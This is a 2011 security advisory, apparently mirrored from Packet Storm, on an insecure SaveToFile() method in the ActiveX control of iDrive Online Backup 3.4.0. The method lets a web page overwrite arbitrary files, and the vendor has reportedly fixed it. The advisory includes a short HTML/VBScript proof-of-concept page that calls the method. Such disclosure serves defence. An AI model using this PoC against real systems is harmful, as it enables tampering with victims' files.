iDrive Online Backup 3.4.0 Insecure Method

🗓️ 07 Jul 2011 00:00:00Reported by High-Tech Bridge SAType

packetstorm🔗 packetstormsecurity.com👁 30 Views

iDrive Online Backup 3.4.0 ActiveX Control Vulnerabilit

`Vulnerability ID: HTB23025  
Reference: http://www.htbridge.ch/advisory/idrive_online_backup_activex_control_insecure_method.html  
Product: IDrive Online Backup   
Vendor: Pro Softnet Corporation ( http://www.idrive.com )   
Vulnerable Version: 3.4.0 and probably prior  
Tested on: 3.4.0  
Vendor Notification: 15 June 2011   
Vulnerability Type: ActiveX Control Insecure Method  
Status: Fixed by Vendor  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in IDrive Online Backup ActiveX control, which can be exploited to overwrite arbitrary files.  
  
The vulnerability is caused due to the UniBasicPack.UniTextBox (UniBasic100_EDA1811C.ocx) ActiveX control including the insecure "SaveToFile()" method.   
This can be exploited to rewrite arbitrary files in the context of the currently logged-on user.  
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\File_name_to_rewrite_or_create"  
arg2=1  
arg3="New_File_Content"  
target.Text=arg3  
target.SelStart=0  
target.SelEnd=Len(arg3)  
target.SaveToFIle arg1,arg2  
End Sub  
  
</script>  
</html>  
  
Solution: Upgrade to the most recent version  
`

07 Jul 2011 00:00Current

7High risk

Vulners AI Score7